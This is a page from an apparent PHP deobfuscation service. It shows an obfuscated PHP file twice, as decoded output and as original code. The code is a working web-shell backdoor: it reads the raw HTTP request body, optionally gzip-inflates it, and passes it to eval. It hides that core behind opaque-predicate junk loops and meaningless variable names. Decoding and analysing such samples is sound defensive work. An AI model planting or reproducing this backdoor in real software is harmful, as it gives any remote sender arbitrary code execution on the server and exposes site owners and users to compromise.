Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php class __ { private static $_drgoa; static function _1($_rbazadv) { ..

Decoded Output download

<?php class __ 
{ 
    private static $_drgoa; 
    static function _1($_rbazadv) 
    { 
        if (!self::$_drgoa): 
            self::_2(); 
        endif; 
        return self::$_drgoa[$_rbazadv]; 
    } 
    private static function _2() 
    { 
        self::$_drgoa = [ 
            8.07, 
            3.32, 
            81.27, 
            2.6666666666667, 
            2.6666666666667, 
            2.6666666666667, 
            2.6666666666667, 
            2.6666666666667, 
            2.6666666666667, 
            0b0, 
            0b0, 
            00, 
            0, 
            0b0, 
            00, 
            0.6, 
            0.6, 
            0.6, 
            0.6, 
            0.6, 
            0.6, 
            0.6, 
            0.6, 
            0.6, 
            0.6, 
            4.13, 
            71.4, 
            6.37, 
            6.74, 
            32.57, 
            1.6666666666667, 
            1.6666666666667, 
            1.6666666666667, 
        ]; 
    } 
} 
$GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"] = [ 
    0x6d7, 
    3129, 
    05245, 
    05226, 
    9492, 
    -517, 
    0b1000000110, 
    0xd4, 
    -0x1fb, 
    01014, 
    -0x174, 
    -0x24f, 
    -0b110001111, 
    -0x162, 
    -0b10001110101, 
    0x12a, 
    0141, 
    925, 
    -0b10100101, 
    -0517, 
    0x1d5, 
    0x84, 
    0x18e, 
    -93, 
    0473, 
]; 
$_kcdsx = fIle_GET_cONTENtS("php://input"); 
while ( 
    (mIn(-__::_1(00), -__::_1(01)) >= __::_1(02) && 
        stRlen("z5cms") === 
            (int) ROUnd( 
                __::_1(0x3) + 
                    __::_1(04) + 
                    __::_1(05) + 
                    __::_1(06) + 
                    __::_1(0b111) + 
                    __::_1(8) 
            )) || 
    Time() < 
        -( 
            $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0] - 
            $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0x1] - 
            $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][02] - 
            $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][3] + 
            $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b100] 
        ) 
): 
    $_kcdsx = mail($_dgbisclfz, $_dgbisclfz, $_cnmbb); 
    $_hpmhdifxld = $_hpmhdifxld; 
    $_hpmhdifxld = $_cnmbb; 
    MOve_UploaDEd_fIle($_kcdsx, $_kcdsx); 
    unset($_kcdsx, $_hpmhdifxld); 
endwhile; 
if ( 
    SubStR( 
        $_kcdsx, 
        (int) ROUnd( 
            __::_1(0b1001) + 
                __::_1(012) + 
                __::_1(0xb) + 
                __::_1(0b1100) + 
                __::_1(0b1101) + 
                __::_1(0b1110) 
        ), 
        (int) roUnd( 
            __::_1(0xf) + __::_1(020) + __::_1(17) + __::_1(0x12) + __::_1(19) 
        ) 
    ) == "000" 
): 
    $_cnmbb = GziNfLAtE( 
        subsTr( 
            $_kcdsx, 
            (int) roUNd( 
                __::_1(0x14) + 
                    __::_1(025) + 
                    __::_1(0b10110) + 
                    __::_1(23) + 
                    __::_1(24) 
            ) 
        ) 
    ); 
    @$_dgbisclfz = $_cnmbb; 
    if ( 
        SUbsTR( 
            "1xqnhhmjnzaylnc", 
            $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][5] + 
                $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][06] 
        ) === "v" 
    ): 
        @RMdIr($_kcdsx); 
    endif; 
    try { 
        eval($_dgbisclfz); 
        while ( 
            (In_aRRAY( 
                $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][7] + 
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b1000] + 
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][011], 
                ["rnxtyedk", "c3gxcic"] 
            ) && 
                ceIL(__::_1(0b11001)) === __::_1(0x1a)) || 
            DeCbin( 
                $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0xa] + 
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b1011] + 
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][014] - 
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][015] - 
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b1110] 
            ) === 
                -( 
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][15] - 
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b10000] 
                ) 
        ): 
            $_kcdsx = $_kcdsx . $_cnmbb; 
            if ( 
                min(__::_1(033), -__::_1(28)) > __::_1(29) && 
                DeCbiN( 
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][021] + 
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][18] - 
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b10011] - 
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0x14] - 
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0x15] 
                ) === 
                    -( 
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b10110] - 
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0x17] - 
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b11000] 
                    ) 
            ): 
                $_cnmbb = $_kcdsx->$_kcdsx; 
                $_cnmbb = SUbstR( 
                    $_hpmhdifxld, 
                    (int) ROUnD(__::_1(30) + __::_1(037) + __::_1(0x20)) 
                ); 
                $_kcdsx = (string) $_cnmbb; 
                $_hpmhdifxld = $_dgbisclfz->$_hpmhdifxld; 
                fiLE_pUT_COntENts($_cnmbb, $_cnmbb); 
            endif; 
            $_cnmbb = fOpEn($_cnmbb, "r"); 
            unset($_hpmhdifxld); 
        endwhile; 
    } catch (_0 $_hpmhdifxld) { 
    } 
else: 
    eval(urlDECOde(stR_REPLAce("code=", "", $_kcdsx))); 
endif; 
 ?>

Did this file decode correctly?

Original Code

<?php class __
{
    private static $_drgoa;
    static function _1($_rbazadv)
    {
        if (!self::$_drgoa):
            self::_2();
        endif;
        return self::$_drgoa[$_rbazadv];
    }
    private static function _2()
    {
        self::$_drgoa = [
            8.07,
            3.32,
            81.27,
            2.6666666666667,
            2.6666666666667,
            2.6666666666667,
            2.6666666666667,
            2.6666666666667,
            2.6666666666667,
            0b0,
            0b0,
            00,
            0,
            0b0,
            00,
            0.6,
            0.6,
            0.6,
            0.6,
            0.6,
            0.6,
            0.6,
            0.6,
            0.6,
            0.6,
            4.13,
            71.4,
            6.37,
            6.74,
            32.57,
            1.6666666666667,
            1.6666666666667,
            1.6666666666667,
        ];
    }
}
$GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"] = [
    0x6d7,
    3129,
    05245,
    05226,
    9492,
    -517,
    0b1000000110,
    0xd4,
    -0x1fb,
    01014,
    -0x174,
    -0x24f,
    -0b110001111,
    -0x162,
    -0b10001110101,
    0x12a,
    0141,
    925,
    -0b10100101,
    -0517,
    0x1d5,
    0x84,
    0x18e,
    -93,
    0473,
];
$_kcdsx = fIle_GET_cONTENtS("php://input");
while (
    (mIn(-__::_1(00), -__::_1(01)) >= __::_1(02) &&
        stRlen("z5cms") ===
            (int) ROUnd(
                __::_1(0x3) +
                    __::_1(04) +
                    __::_1(05) +
                    __::_1(06) +
                    __::_1(0b111) +
                    __::_1(8)
            )) ||
    Time() <
        -(
            $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0] -
            $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0x1] -
            $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][02] -
            $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][3] +
            $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b100]
        )
):
    $_kcdsx = mail($_dgbisclfz, $_dgbisclfz, $_cnmbb);
    $_hpmhdifxld = $_hpmhdifxld;
    $_hpmhdifxld = $_cnmbb;
    MOve_UploaDEd_fIle($_kcdsx, $_kcdsx);
    unset($_kcdsx, $_hpmhdifxld);
endwhile;
if (
    SubStR(
        $_kcdsx,
        (int) ROUnd(
            __::_1(0b1001) +
                __::_1(012) +
                __::_1(0xb) +
                __::_1(0b1100) +
                __::_1(0b1101) +
                __::_1(0b1110)
        ),
        (int) roUnd(
            __::_1(0xf) + __::_1(020) + __::_1(17) + __::_1(0x12) + __::_1(19)
        )
    ) == "000"
):
    $_cnmbb = GziNfLAtE(
        subsTr(
            $_kcdsx,
            (int) roUNd(
                __::_1(0x14) +
                    __::_1(025) +
                    __::_1(0b10110) +
                    __::_1(23) +
                    __::_1(24)
            )
        )
    );
    @$_dgbisclfz = $_cnmbb;
    if (
        SUbsTR(
            "1xqnhhmjnzaylnc",
            $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][5] +
                $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][06]
        ) === "v"
    ):
        @RMdIr($_kcdsx);
    endif;
    try {
        eval($_dgbisclfz);
        while (
            (In_aRRAY(
                $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][7] +
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b1000] +
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][011],
                ["rnxtyedk", "c3gxcic"]
            ) &&
                ceIL(__::_1(0b11001)) === __::_1(0x1a)) ||
            DeCbin(
                $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0xa] +
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b1011] +
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][014] -
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][015] -
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b1110]
            ) ===
                -(
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][15] -
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b10000]
                )
        ):
            $_kcdsx = $_kcdsx . $_cnmbb;
            if (
                min(__::_1(033), -__::_1(28)) > __::_1(29) &&
                DeCbiN(
                    $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][021] +
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][18] -
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b10011] -
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0x14] -
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0x15]
                ) ===
                    -(
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b10110] -
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0x17] -
                        $GLOBALS["_12e449a10bef35d2ec9cf154967b46ce"][0b11000]
                    )
            ):
                $_cnmbb = $_kcdsx->$_kcdsx;
                $_cnmbb = SUbstR(
                    $_hpmhdifxld,
                    (int) ROUnD(__::_1(30) + __::_1(037) + __::_1(0x20))
                );
                $_kcdsx = (string) $_cnmbb;
                $_hpmhdifxld = $_dgbisclfz->$_hpmhdifxld;
                fiLE_pUT_COntENts($_cnmbb, $_cnmbb);
            endif;
            $_cnmbb = fOpEn($_cnmbb, "r");
            unset($_hpmhdifxld);
        endwhile;
    } catch (_0 $_hpmhdifxld) {
    }
else:
    eval(urlDECOde(stR_REPLAce("code=", "", $_kcdsx)));
endif;

Function Calls

None

Variables

None

Stats

MD5 beb21f46f32a932a6b422762ccb16c22
Eval Count 0
Decode Time 58 ms